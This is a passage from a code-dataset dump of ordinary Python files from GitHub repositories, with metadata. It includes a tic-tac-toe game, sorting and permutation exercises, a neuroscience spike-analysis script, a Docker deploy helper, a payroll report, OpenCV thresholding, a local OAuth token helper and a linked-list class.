False\r\n\r\ndef checkWin(board):\r\n global gameRunning\r\n if checkDiag(board) or checkHorizontle(board) or checkRow(board):\r\n print(\"\")\r\n print(f\"The winner is {winner}\")\r\n print(\"\")\r\n gameRunning = False\r\n# switch the player\r\n\r\ndef switchPlayer():\r\n global currentPlayer\r\n if currentPlayer == \"X\":\r\n currentPlayer = \"O\"\r\n else:\r\n currentPlayer = \"X\"\r\n\r\n# computer\r\n\r\ndef computer(board):\r\n print(\"Now your opponent turn! Wait for his choice!\")\r\n while currentPlayer == \"O\":\r\n position = random.randint(0,8)\r\n if board[position] == \"-\":\r\n board[position] = \"0\"\r\n switchPlayer()\r\n# check for win or tie again\r\n\r\nwhile gameRunning:\r\n printBoard(board)\r\n playerInput(board)\r\n switchPlayer()\r\n checkWin(board)\r\n checkTie(board)\r\n if gameRunning:\r\n computer(board)\r\n checkWin(board)\r\n checkTie(board)\r\n if winner != None:\r\n printBoard(board)\r\n","repo_name":"RAYNingTime/Python_Projects","sub_path":"TicTacToe/TicTacToe.py","file_name":"TicTacToe.py","file_ext":"py","file_size_in_byte":3028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"2671921087","text":"def insertion_sort(a):\n\tfor j in range(1, len(a)):\n\t\tkey = a[j]\n\t\t#everything to the left of j i ssorted\n\t\ti = j-1\n\t\twhile i>=0 and a[i] > key:\n\t\t\ta[i+1] = a[i]\n\t\t\ti = i-1\n\t\ta[i+1] = key\n\n#test the algorithm\ndef main():\n\ta = [2, -1, 6, 8, 0, 0, -4, 7]\n\tinsertion_sort(a)\n\tprint(a)\n\nmain()\n","repo_name":"TheLastVampire/Algorithms","sub_path":"Getting Started/insertion_sort.py","file_name":"insertion_sort.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"33534810418","text":"# Given a collection of distinct integers, return all possible permutations.\n\n# Example:\n\n# Input: [1,2,3]\n# Output:\n# [\n# [1,2,3],\n# [1,3,2],\n# [2,1,3],\n# [2,3,1],\n# [3,1,2],\n# [3,2,1]\n# ]\n\n\n#Essentially we either i-th position element, we want to see\n#ith + [every permutation of i-th element]\n#and then take that array, and apply the same concept to the ith+1 element\n\n#An iterative approach would be to add numbers one at a time, and each time we add a new number\n#we swap the new number with every other number already added and save each of these swapped instances, as they are our permutations\n#Example) [1,2,3]\n#[]\n#Add 1 : [] -> [1]\n#Add 2: [1] -> Now swap our new num (2) with all the other numbers including itself (so we can save itself) -> save([1,2]) save ([2,1])\n#Add 3: [[1,2],[2,1]] -> [1,2,3] -> [1,3,2], [3,2,1] and [2,1,3] -> [3,1,2], [2,3,1] \n#Final result: [1,2,3] [1,3,2] [3,2,1] [2,1,3] [3,1,2] [2,3,1] \n# class Solution(object):\n# def permute(self, nums):\n# \"\"\"\n# :type nums: List[int]\n# :rtype: List[List[int]]\n# \"\"\"\n# permutations = [[]]\n# for num in nums:\n# newPermutations = []\n# for i in range(len(permutations)):\n# currPermutation = permutations[i]\n# currPermutation.append(num)\n# for j in range(len(currPermutation)):\n# currPermutation[-1], currPermutation[j] = currPermutation[j], currPermutation[-1]\n# newPermutations.append(currPermutation[:])\n# currPermutation[-1], currPermutation[j] = currPermutation[j], currPermutation[-1]\n# permutations = newPermutations\n# return permutations\n\nfrom typing import List\nclass Solution:\n def permute(self, nums: List[int]) -> List[List[int]]:\n permutations = []\n def swap(nums, i, j):\n nums[i], nums[j] = nums[j], nums[i]\n def helper(i, nums, permutations):\n if i == len(nums)-1:\n permutations.append(nums[:])\n else:\n for j in range(i, len(nums)):\n swap(nums, i, j)\n helper(i+1, nums, permutations)\n swap(nums, i, j)\n helper(0, nums, permutations)\n return permutations\n \n # n = len(nums)\n # res = []\n # def dfs(l):\n # if l == n-1:\n # res.append(list(nums))\n # return\n # for i in range(l, n):\n # nums[l], nums[i] = nums[i], nums[l]\n # dfs(l+1)\n # nums[l], nums[i] = nums[i], nums[l] \n # dfs(0)\n # return res\n \n#123\n\n#123 -> 123 ->123 res add 123\n# 132 -> res add 132 -> back to 123\n#213 -> 213 -> add 213 -> 231 -> add 231 -> back to 213\n#etc..","repo_name":"AnthonyTsui/AlgoPractice","sub_path":"LeetCode/Medium/46.Permutations.py","file_name":"46.Permutations.py","file_ext":"py","file_size_in_byte":2846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"36308851315","text":"import numpy as np\nimport pandas as pd\nimport neuroseries as nts\nfrom pylab import *\nfrom wrappers import *\nfrom functions import *\nimport sys\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom pycircstat.descriptive import mean as circmean\nfrom sklearn.model_selection import KFold\nfrom sklearn.decomposition import PCA\n\ndef zscore_rate(rate):\n\trate = rate.values\n\trate = rate - rate.mean(0)\n\trate = rate / rate.std(0)\n\treturn rate\n\n############################################################################################### \n# GENERAL infos\n###############################################################################################\n\ndata_directory = '/mnt/DataGuillaume/LMN-ADN/A5011/A5011-201015A'\n\nepisodes = ['sleep', 'wake', 'sleep']\n\nevents = ['1']\n\n\nspikes, shank \t\t\t\t\t\t= loadSpikeData(data_directory)\nn_channels, fs, shank_to_channel \t= loadXML(data_directory)\nposition \t\t\t\t\t\t\t= loadPosition(data_directory, events, episodes)\nwake_ep \t\t\t\t\t\t\t= loadEpoch(data_directory, 'wake', episodes)\nsleep_ep \t\t\t\t\t\t\t= loadEpoch(data_directory, 'sleep')\t\t\t\t\t\nacceleration\t\t\t\t\t\t= loadAuxiliary(data_directory, n_probe = 2)\nacceleration \t\t\t\t\t\t= acceleration[[0,1,2]]\nacceleration.columns \t\t\t\t= pd.Index(np.arange(3))\nnewsleep_ep \t\t\t\t\t\t= refineSleepFromAccel(acceleration, sleep_ep)\nsws_ep \t\t\t\t\t\t\t\t= loadEpoch(data_directory, 'sws')\n\nwake_ep \t\t\t\t\t\t\t= wake_ep.loc[[0]]\n\ntuning_curves \t\t\t\t\t\t= computeAngularTuningCurves(spikes, position['ry'], wake_ep, 121)\ntcurves \t\t\t\t\t\t\t= smoothAngularTuningCurves(tuning_curves, 10, 2)\ntokeep, stat \t\t\t\t\t\t= findHDCells(tcurves)#, z=10, p = 0.001)\n\n\n\ncolors=dict(zip(np.unique(shank), cm.rainbow(np.linspace(0,1,len(np.unique(shank))))))\nfigure()\nfor i in tcurves.columns:\n\tsubplot(int(np.ceil(np.sqrt(tcurves.shape[1]))),int(np.ceil(np.sqrt(tcurves.shape[1]))),i+1, projection='polar')\n\tplot(tcurves[i], color = colors[shank[i]])\n\tif i in tokeep:\n\t\tplot(tcurves[i], color = colors[shank[i]], linewidth = 4)\n\n\n\nadn = np.intersect1d(tokeep, np.where(shank<=3)[0])\nlmn = np.intersect1d(tokeep, np.where(shank==5)[0])\n\ntcurves = tcurves[tokeep]\npeaks = pd.Series(index=tcurves.columns,data = np.array([circmean(tcurves.index.values, tcurves[i].values) for i in tcurves.columns])).sort_values()\t\t\nadn = peaks.loc[adn].sort_values().index.values\nlmn = peaks.loc[lmn].sort_values().index.values\n\nbin_size = 50\nbins = np.arange(sws_ep['start'].iloc[0], sws_ep['end'].iloc[-1] + bin_size*1000, bin_size*1000)\nrate = []\nidx_spk = {}\nfor i,n in enumerate(lmn):\n\tcount, _ = np.histogram(spikes[n].index.values, bins)\n\trate.append(count)\n\tidx_spk[n] = nts.Tsd(t = spikes[n].index.values, d = np.digitize(spikes[n].index.values, bins))\n\t\nrate = np.array(rate).T\n\nnewspikes = {n:[] for n in lmn}\n# Pure WTA version\n# idx = np.where((rate==np.vstack(rate.max(1))).sum(1) == 1)[0] + 1 #wta\n# idx_n = lmn[np.argmax(rate[idx],1)]\n# for n in lmn:\n# \tt = idx_spk[n][idx_spk[n].as_series().isin(idx_bin)].index.values\n# \tnewspikes[n] = nts.Ts(t = t)\nfor i,n in enumerate(lmn):\n\tidx = np.where(rate[:,i] > 2)[0]+1\n\tt = idx_spk[n][idx_spk[n].as_series().isin(idx)].index.values\n\tnewspikes[n] = nts.Ts(t = t)\n\n\n\ncc = compute_CrossCorrs(newspikes, sws_ep, 2, 2000, norm=True)\ncc = cc.rolling(window=20, win_type='gaussian', center = True, min_periods = 1).mean(std = 4.0)\npairs = pd.Series(index = cc.columns, data = np.nan)\nfor i,j in pairs.index:\t\n\ta = peaks[i] - peaks[j]\n\tpairs[(i,j)] = np.minimum(np.abs(a), 2*np.pi - np.abs(a))\npairs = pairs.dropna().sort_values()\ncc = cc[pairs.index]\n\nfigure()\nax = subplot(211)\nfor i,n in enumerate(adn):\n\ttmp = spikes[n].restrict(sws_ep).fillna(peaks[n])\n\tplot(tmp, '|', markersize = 10)\t\nsubplot(212, sharex = ax)\nfor i,n in enumerate(lmn):\n\ttmp = spikes[n].restrict(sws_ep).fillna(peaks[n]).as_series()\n\tplot(tmp, '|', markersize = 10)\t\n\ttmp2 = newspikes[n].restrict(sws_ep).fillna(peaks[n]).as_series()\n\tplot(tmp2, 'o', markersize = 4)\t\n\nfigure()\ntmp = cc.T.values\nimshow(scipy.ndimage.gaussian_filter(tmp, 8), aspect = 'auto')\nxticks([0, np.where(cc.index.values == 0)[0][0], len(cc)], [cc.index[0], 0, cc.index[-1]])\n\n\nfigure()\nax = subplot(211)\nfor i,n in enumerate(adn):\n\ttmp = spikes[n].restrict(sws_ep).fillna(peaks[n])\n\tplot(tmp, '|', markersize = 10)\t\nsubplot(212, sharex = ax)\nfor i,n in enumerate(lmn):\n\ttmp2 = newspikes[n].restrict(sws_ep).fillna(peaks[n]).as_series()\n\tplot(tmp2, '|', markersize = 10)\t\n\nspikes2 = newspikes.copy()\nspikes2.update({n:spikes[n] for n in adn})\n\nfrom itertools import product\n\ncc2 = []\nfor p in product(adn, lmn):\n\tcc2.append(compute_PairCrossCorr(spikes2, sws_ep, p, 2, 2000, True))\ncc2 = pd.concat(cc2, 1)\t\ncc2.columns = list(product(adn, lmn))\npairs2 = pd.Series(index = cc2.columns, data = np.nan)\nfor i,j in pairs2.index:\t\n\ta = peaks[i] - peaks[j]\n\tpairs2[(i,j)] = np.minimum(np.abs(a), 2*np.pi - np.abs(a))\npairs2 = pairs2.dropna().sort_values()\ncc2 = cc2[pairs2.index]\n\ncc3 = []\nfor p in product(adn, lmn):\n\tcc3.append(compute_PairCrossCorr(spikes, sws_ep, p, 2, 2000, True))\ncc3 = pd.concat(cc3, 1)\t\ncc3.columns = list(product(adn, lmn))\ncc3 = cc3[pairs2.index]\n\n\nfigure()\nsubplot(121)\ntmp = cc2.T.values\nimshow(scipy.ndimage.gaussian_filter(tmp, 8), aspect = 'auto')\nxticks([0, np.where(cc2.index.values == 0)[0][0], len(cc2)], [cc2.index[0], 0, cc2.index[-1]])\nsubplot(122)\ntmp = cc3.T.values\nimshow(scipy.ndimage.gaussian_filter(tmp, 8), aspect = 'auto')\nxticks([0, np.where(cc3.index.values == 0)[0][0], len(cc3)], [cc3.index[0], 0, cc3.index[-1]])\n\nfigure()\nfor i in range(100):\n\tsubplot(10,10,i+1)\n\tplot(cc2.iloc[:,i])\n\tplot(cc3.iloc[:,i])\n","repo_name":"gviejo/LMNphysio","sub_path":"python/main_test_WTA_A50.py","file_name":"main_test_WTA_A50.py","file_ext":"py","file_size_in_byte":5561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"9503681973","text":"def summa(u,v):\n c = 299792.458 \n return (u+v)/(1+(u*v)/c**2)\n\nu = float(input(\"Esimene kiirus: \"))\nv = float(input(\"Teine kiirus: \"))\nx = float(input(\"Kolmas kiirus: \"))\ny = float(input(\"Neljas kiirus: \"))\n\nprint(summa(summa(u,v),summa(x,y)),\"km/s\")","repo_name":"ArR4e/DSProject","sub_path":"processed/K04/S222/kodu2.py","file_name":"kodu2.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"15303146960","text":"\n# High Order Functions:\n\n## map() - to transform each item into an iterable object\nlst = [1,2,3,4]\nprint(list(map(lambda x:x**3, lst)))\n\n## filter() - To filter items in a list\n\nlst2 = list(filter((lambda x: x<3), lst))\nprint(lst2)\n\n### Passing words len function to sort function\nwords = str.split('The longest word in this sentence')\nprint(sorted(words, key = len))\n\n# Sort in alphabetical orfer with lower comes after capital letter\nsl = ['A', 'b', 'a', 'C', 'c']\nsl.sort(key=str.lower)\nprint(sl)\n\n# Simple sort\nsl = ['A', 'b', 'a', 'C', 'c']\ns2 = sl.sort()\nprint(s2)\n\n### Sorting based on item\nitems = [[\"rice\", 2.4,8], [\"flour\", 1.9,5], [\"Corn\", 4.7,6]]\nitems.sort(key=lambda item: item[1])\nprint(items)\n\n","repo_name":"krishnakesari/Algorithms-Py","sub_path":"High order functions.py","file_name":"High order functions.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"33772692340","text":"import os\nimport datetime\nimport random\nfrom argparse import ArgumentParser\n\n\ndef uid():\n\n # Get the current date and time\n current_datetime = datetime.datetime.now()\n\n # Format the date and time as YEAR-MONTH-DAY-HOUR:MINUTE:SECOND\n formatted_datetime = current_datetime.strftime(\"%Y%m%d_%H%M%S\")\n\n # Generate 4 random digits\n random_digits = ''.join(str(random.randint(0, 9)) for _ in range(4))\n\n # Combine the formatted datetime with the random digits\n return f\"{formatted_datetime}_{random_digits}\"\n\ndef execute(cmd):\n print(\"-> Running command: \" + cmd)\n return os.system(cmd)\n\n\nparser = ArgumentParser()\nparser.add_argument(\"--src\", required=True, help=\"Path to source code\")\nparser.add_argument(\"--dest\", required=True, help=\"Destination path of copied code\")\nparser.add_argument(\"--exp-name\", required=True, help=\"Experiment name\")\nparser.add_argument(\"-v\", \"--volume\", action='append', help=\"Volumes to be attached to the running container. Docker format.\")\n\nargs = parser.parse_args()\nsrc_path = args.src\n\nuid = uid()\nexp_name = os.path.join(args.exp_name,uid) if args.exp_name else str(uid)\ndest_path = os.path.join(args.dest, exp_name)\nif dest_path.endswith(\"/\"):\n dest_path = dest_path[:-1]\ndest_image_name = f\"{args.exp_name}:{uid}\"\n\nvolumes = args.volume\n\ndef parse_volumes(vols):\n return \" \".join([f\"-v {v}\" for v in vols])\n\n# COPY code from some folder\ncmd = f\"cp -fr {src_path} {dest_path}\"\nexecute(cmd)\n# build docker container based on the copied folder\nexecute(f\"cd {dest_path}; docker build -t {dest_image_name} .\")\n# run this container with mounted data volumes\nexecute(f\"docker run -it {parse_volumes(volumes)} {dest_image_name}\")\n","repo_name":"maciejjaskowski/explin","sub_path":"deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"32963914249","text":"import os\nimport fire\nimport glob\nimport datetime\nimport collections\nimport pandas as pd\nfrom hopla.converter import hopla\n\n\ndef run(dfc_file, metadata_file, outdir, simg_file, n_wins=464, n_rois=82,\n name=\"dfc_dists\", process=False, njobs=10, use_pbs=False,\n test=False):\n \"\"\" Parse data and execute the processing with hopla.\n\n Parameters\n ----------\n dfc_file: str\n the path to the dFCs.\n metadata_file: str\n the path to the associated meta data.\n outdir: str\n the destination folder containing the computed distances.\n simg_file: str\n path to the 'tembedding' singularity image.\n n_wins: int, default 464\n the number of sliding windows.\n n_rois: int, default 82\n the number of ROIs in the considered template.\n name: str, default 'dfc_dists'\n the name of the current analysis.\n process: bool, default False\n optionally launch the process.\n njobs: int, default 10\n the number of parallel jobs.\n use_pbs: bool, default False\n optionnaly use PBSPRO batch submission system.\n test: bool, default False\n optionally, select only one run.\n \"\"\"\n meta = pd.read_csv(metadata_file, sep=\"\\t\")\n n_dfcs = len(meta)\n n_runs = int(n_dfcs / n_wins)\n run_indices = []\n for idx in range(n_runs):\n dist_file = os.path.join(outdir, f\"struct-dfc_run-{idx}_dists.npy\")\n if not os.path.isfile(dist_file):\n run_indices.append(idx)\n else:\n print(f\"'{dist_file}' already on disk.\")\n if len(run_indices) == 0:\n raise RuntimeError(\"No data to process!\")\n if test:\n run_indices = run_indices[:1]\n print(f\"number of runs: {len(run_indices)}\")\n\n if process:\n pbs_kwargs = {}\n if use_pbs:\n clusterdir = os.path.join(outdir, f\"{name}_pbs\")\n if not os.path.isdir(clusterdir):\n os.makedirs(clusterdir)\n pbs_kwargs = {\n \"hopla_cluster\": True,\n \"hopla_cluster_logdir\": clusterdir,\n \"hopla_cluster_queue\": \"Nspin_long\"}\n date = datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\")\n logdir = os.path.join(outdir, \"logs\")\n if not os.path.isdir(logdir):\n os.makedirs(logdir)\n logfile = os.path.join(logdir, f\"{name}_{date}.log\")\n cmd = (f\"singularity run --bind /neurospin --cleanenv \"\n f\"{simg_file} precompute-dfc-dist\")\n status, exitcodes = hopla(\n cmd,\n dfc_file=dfc_file,\n metadata_file=metadata_file,\n outdir=outdir,\n run_idx=run_indices,\n n_wins=n_wins,\n n_rois=n_rois,\n hopla_name_replace=True,\n hopla_iterative_kwargs=[\"run-idx\"],\n hopla_optional=[\"dfc-file\", \"metadata-file\", \"run-idx\", \"n_wins\",\n \"n_rois\"],\n hopla_cpus=njobs,\n hopla_logfile=logfile,\n hopla_use_subprocess=True,\n hopla_verbose=1,\n hopla_python_cmd=None,\n **pbs_kwargs)\n\n\nif __name__ == \"__main__\":\n fire.Fire(run)\n","repo_name":"neurospin-projects/2023_asm_tembedding","sub_path":"singularity/hpc/hopla_precompute_dfc_dists.py","file_name":"hopla_precompute_dfc_dists.py","file_ext":"py","file_size_in_byte":3152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"38749515138","text":"from django.conf import settings\n\nURL_NAMES = []\ndef load_url_pattern_names(patterns):\n \"\"\"Retrieve a list of urlpattern names\"\"\"\n global URL_NAMES\n for pat in patterns:\n if pat.__class__.__name__ == 'URLResolver': # load patterns from this RegexURLResolver\n load_url_pattern_names(pat.url_patterns)\n elif pat.__class__.__name__ == 'URLPattern': # load name from this RegexURLPattern\n if pat.name is not None and pat.name not in URL_NAMES:\n URL_NAMES.append( pat.name)\n return URL_NAMES\n\nroot_urlconf = __import__(settings.ROOT_URLCONF) # access the root urls.py file\n# print(load_url_pattern_names(root_urlconf.urls.urlpatterns)) # access the \"urlpatterns\" from the ROOT_URLCONF","repo_name":"loren-jiang/misoboop","sub_path":"misoboop/tests/test_urls.py","file_name":"test_urls.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"2893856854","text":"# opening file Employees.txt in read mode\nrawEmployeeFile = open(\"E:\\\\Programming\\\\ICTPRG302 Apply introductory programming\\\\AT1\\\\Employees.txt\", \"r\")\n\n# reading the file\ndata = rawEmployeeFile.readlines()\n\n# remove \"\\n\" in each elment in data list\nfor i in range(0, len(data)):\n if data[i].endswith(\"\\n\"):\n data[i] = data[i][:-1]\n\n# create list to store employee txt information\nemployeeList = []\n\n\n# analyze data - store every employee information in a dictionary and add this dictionary to employeeList\ndef analyzeEmployeeTxtData(dataList): \n id = \"\"\n name = \"\"\n position = \"\"\n salary = 0.00\n \n i = 0\n while i < len(dataList):\n id = dataList[i]\n name = dataList[i+1]\n position = dataList[i+2]\n salary = dataList[i+3]\n\n # store each employee information in a dictionary\n employee = {\n \"ID\": id,\n \"Name\": name, \n \"Position\": position,\n \"Salary\": salary\n }\n \n # add employee dictionary into employee list\n employeeList.append(employee) \n i += 4\n\n \n# call analyze data function to make a list of dictionary to store employee information \nanalyzeEmployeeTxtData(data)\n\n\n# display each record of data on the screen\ndef displayEmployeeTxtData(employeeList):\n # get value from employee dictionary\n for employee in employeeList:\n id = employee[\"ID\"]\n name = employee[\"Name\"]\n position = employee[\"Position\"]\n salary = float(employee[\"Salary\"])\n\n # add dollar sign to salary\n dollarSalary = \"${:,.2f}\".format(salary)\n \n # print each employee information\n print(id + \" \" + name + \" \" + position + \" \" + dollarSalary + \"\\n\")\n\n\n# call the function to display each record to the screen \ndisplayEmployeeTxtData(employeeList)\n\n\n# total pay of all employees\ndef totalPay(employeeList):\n # create total pay variable\n totalPay = 0.00\n\n for employee in employeeList:\n salary = float(employee[\"Salary\"])\n\n totalPay += salary\n \n return round(totalPay, 2)\n\n\n# number of records\ndef numOfRecords(employeeList):\n # create records variable\n records = 0\n\n records = len(employeeList)\n return records\n\n\n# average pay\ndef averagePay(employeeList):\n # create average pay variable\n averagePay = 0.00\n\n averagePay = totalPay(employeeList) / numOfRecords(employeeList)\n\n # round average pay to 2 decimal places and return\n return round(averagePay, 2)\n\n\n# total pay for Managers\ndef managersTotalPay(employeeList):\n # create total pay variable\n managersTotalPay = 0.00\n\n for employee in employeeList:\n if employee[\"Position\"] == \"Manager\" :\n managersTotalPay += float(employee[\"Salary\"])\n else:\n continue\n \n return round(managersTotalPay, 2)\n \n\n# total pay for Sales\ndef salesTotalPay(employeeList):\n # create total pay variable\n salesTotalPay = 0.00\n\n for employee in employeeList:\n if employee[\"Position\"] == \"Sales\" :\n salesTotalPay += float(employee[\"Salary\"])\n else:\n continue\n \n return round(salesTotalPay, 2)\n\n\n# total pay for Administration\ndef adminTotalPay(employeeList):\n # create total pay variable\n adminTotalPay = 0.00\n\n for employee in employeeList:\n if employee[\"Position\"] == \"Administration\" :\n adminTotalPay += float(employee[\"Salary\"])\n else:\n continue\n \n return float(f\"{adminTotalPay:.2f}\")\n\n\n# display on screen:\n# the total pay of all employees\n# the number of records processed\n# the average pay\n# the total pay for the three types of employee positions (Managers, Sales or Administration)\ndef payrollReport(employeeList):\n print(\"Total payroll:\" + \" \" + \"${:,.2f}\".format(totalPay(employeeList)))\n print(\"Number on payroll:\" + \" \" + str(numOfRecords(employeeList)))\n print(\"Average pay:\" + \" \" + \"${:,.2f}\".format(averagePay(employeeList)))\n print(\"\")\n print(\"Total pay for:\")\n print(\"Managers \" + \"${:,.2f}\".format(managersTotalPay(employeeList)))\n print(\"Sales \" + \"${:,.2f}\".format(salesTotalPay(employeeList)))\n print(\"Admin \" + \"${:,.2f}\".format(adminTotalPay(employeeList)))\n\n\n# call payrollReport function and display payroll report on screen \npayrollReport(employeeList)\n\n\n# save payroll report to text file\ndef exportPayrollReport(employeeList):\n # will create a file, will be overwritten if the file exists\n payrollReport = open(\"E:\\Programming\\ICTPRG302 Apply introductory programming\\AT1\\PayrollReport.txt\", \"w\")\n\n # export payroll report into file\n payrollReport.write(\"Total payroll:\" + \" \" + \"${:,.2f}\".format(totalPay(employeeList)))\n payrollReport.write(\"\\nNumber on payroll:\" + \" \" + str(numOfRecords(employeeList)))\n payrollReport.write(\"\\nAverage pay:\" + \" \" + \"${:,.2f}\".format(averagePay(employeeList)))\n payrollReport.write(\"\\n\")\n payrollReport.write(\"\\nTotal pay for:\")\n payrollReport.write(\"\\nManagers \" + \"${:,.2f}\".format(managersTotalPay(employeeList)))\n payrollReport.write(\"\\nSales \" + \"${:,.2f}\".format(salesTotalPay(employeeList)))\n payrollReport.write(\"\\nAdmin \" + \"${:,.2f}\".format(adminTotalPay(employeeList)))\n\n payrollReport.close()\n\n\n# call exportPayrollReport function and export payroll report to text file \nexportPayrollReport(employeeList)\n","repo_name":"ArielWangX/ICTPRG302-Apply-introductory-programming-techniques","sub_path":"PracticalTask2/PayrollReport01.py","file_name":"PayrollReport01.py","file_ext":"py","file_size_in_byte":5397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"36615174985","text":"import cv2 as cv\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef scale(frame, scale):\n altura = int(frame.shape[0]*scale)\n largura = int(frame.shape[1]*scale)\n dimensoes = (largura, altura)\n return cv.resize(frame, dimensoes, interpolation=cv.INTER_AREA)\n\n\nimg = scale(cv.imread(\"NZ.jpg\"), 0.2)\ncv.imshow(\"NZ\", img)\n\ngray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\ncv.imshow('Gray', gray)\n\n# simple treshhold\n\ntreshold, tresh = cv.threshold(gray, 100, 255, cv.THRESH_BINARY)\ncv.imshow(\"simple trash\", tresh)\n\ntreshold, tresh_inverse = cv.threshold(gray, 100, 255, cv.THRESH_BINARY_INV)\ncv.imshow(\"simple trash\", tresh_inverse)\n\n# adaptive Thresholding\n\nadaptive_tresh = cv.adaptiveThreshold(\n gray, 255, cv.ADAPTIVE_THRESH_MEAN_C, cv.THRESH_BINARY, 13, 5)\ncv.imshow(\"Adaptive\", adaptive_tresh)\n\ncv.waitKey(0)\n","repo_name":"DinossauroBebado/OpenCV","sub_path":"AULA1_16/aula13.py","file_name":"aula13.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"42601794272","text":"\nfrom urllib.parse import urlparse\nfrom urllib.parse import parse_qs\nimport http.server\nimport socketserver\nimport webbrowser\nimport requests\nimport time\nimport argparse\n\nport = None\nclient_id = None\nclient_secret = None\ntoken_json = None\nsuccess_auth = False\n\nclass CustomHttpRequestHandler(http.server.SimpleHTTPRequestHandler):\n responsed = False\n\n def do_GET(self):\n global client_id\n global client_secret\n global token_json\n global success_auth\n global port\n\n parsed = urlparse(self.path)\n if parsed.path == '/auth':\n url = parse_qs(parsed.query)[\"url\"][0]\n client_id = parse_qs(parsed.query)[\"client_id\"][0]\n client_secret = parse_qs(parsed.query)[\"client_secret\"][0]\n success_auth = False\n webbrowser.open(url, new=0, autoraise=True)\n self.send_response(200)\n self.end_headers()\n self.wfile.write(bytes(\"Authentication started successfully\\r\\n\", \"utf-8\"))\n elif parsed.path == '/get_auth':\n if not success_auth:\n self.send_response(428)\n self.end_headers()\n self.wfile.write(bytes(\"Waiting for user response\\r\\n\", \"utf-8\"))\n else:\n print(\"==== Access Token ====\")\n print(token_json)\n self.send_response(200)\n self.end_headers()\n self.wfile.write(bytes(str(token_json), \"utf-8\"))\n elif parsed.path == '/google_auth':\n auth_code = parse_qs(parsed.query)[\"code\"][0]\n print(\"==== Authentication Code ====\")\n print(auth_code)\n post_data = (\"code=\" + auth_code + \n \"&client_id=\" + client_id + \n \"&client_secret=\" + client_secret + \n \"&redirect_uri=http%3A//localhost%3A\" + str(port) + \"/google_auth\" + \n \"&grant_type=authorization_code\")\n header = {\"Content-Type\": \"application/x-www-form-urlencoded\"}\n response = requests.post(\"https://oauth2.googleapis.com/token\", headers=header, data=post_data)\n\n if (response.status_code >= 200 and response.status_code < 300):\n token_json = response.json()\n print(\"==== Access Token ====\")\n print(token_json)\n success_auth = True\n self.send_response(200)\n self.end_headers()\n self.wfile.write(bytes(\"Login Successful. Wait for at least 15 secs for the Vita to get the access token before you stop this server and return to the Vita.\\r\\n\", \"utf-8\"))\n else:\n self.send_response(500)\n self.end_headers()\n self.wfile.write(bytes(str(response.text)+\"\\r\\n\", \"utf-8\"))\n\ndef parse_args():\n \"\"\"Parse and save command line arguments\"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-p\", \"--port\", default=8080, type=int,\n help=\"Port to run server on. Default 8080\")\n args = parser.parse_args()\n\n return args\n\ndef main():\n \"\"\" main method \"\"\"\n global port\n args = parse_args()\n port = args.port\n\n handler = CustomHttpRequestHandler\n server=socketserver.TCPServer((\"\", port), handler)\n print(\"Server started at port \" + str(port) + \". Press CTRL+C to close the server.\")\n try:\n server.serve_forever()\n except KeyboardInterrupt:\n server.server_close()\n print(\"Server Closed\")\n\nif __name__ == \"__main__\":\n main()","repo_name":"cy33hc/vita-ezremote-client","sub_path":"auth_server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3580,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"30"} +{"seq_id":"13337989145","text":"class Node:\n def __init__(self, data, next = None):\n self.data = data\n self.next = next\n\nclass LL:\n def __init__(self):\n self.head = None\n\n def add_to_beg(self, data):\n if not self.head:\n self.head = Node(data, None)\n return\n newNode = Node(data, self.head)\n self.head = newNode\n\n def get_len(self):\n p = self.head\n counter = 0\n while p:\n p = p.next\n counter += 1\n return counter\n\n def print_ll(self):\n p = self.head\n pstr = ''\n while p:\n pstr += str(p.data) + '-->'\n p = p.next\n print(pstr)\n\n def insert_at_index(self, index, data):\n if index > self.get_len() or index < 0:\n raise Exception(\"Index Out of Range\")\n counter = 0\n p = self.head\n while p:\n if counter == index - 1:\n newNode = Node(data, p.next)\n p.next = newNode\n break\n p = p.next\n counter += 1\n\n def delete_at_index(self, index):\n if index > self.get_len() or index < 0:\n raise Exception(\"Index Out of Range\")\n counter = 0\n p = self.head\n while p:\n if counter == index - 1:\n p.next = p.next.next\n break\n p = p.next\n counter += 1\n\nif __name__ == '__main__':\n l = LL()\n l.add_to_beg(\"Wed\")\n l.add_to_beg(\"Tue\")\n l.add_to_beg(\"Mon\")\n l.add_to_beg(\"Sun\")\n l.add_to_beg(\"Sat\")\n l.insert_at_index(2, \"Inserted at 2\")\n l.print_ll()\n l.delete_at_index(1)\n l.print_ll()","repo_name":"LilySu/Python_Practice","sub_path":"Linked_List_Practice/Linked_List_Practice_February_13_2021.py","file_name":"Linked_List_Practice_February_13_2021.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"30"} +{"seq_id":"40815596702","text":"from django.contrib.auth.decorators import login_required\nfrom django.shortcuts import get_object_or_404, redirect, render\n\nfrom .forms import CommentForm, 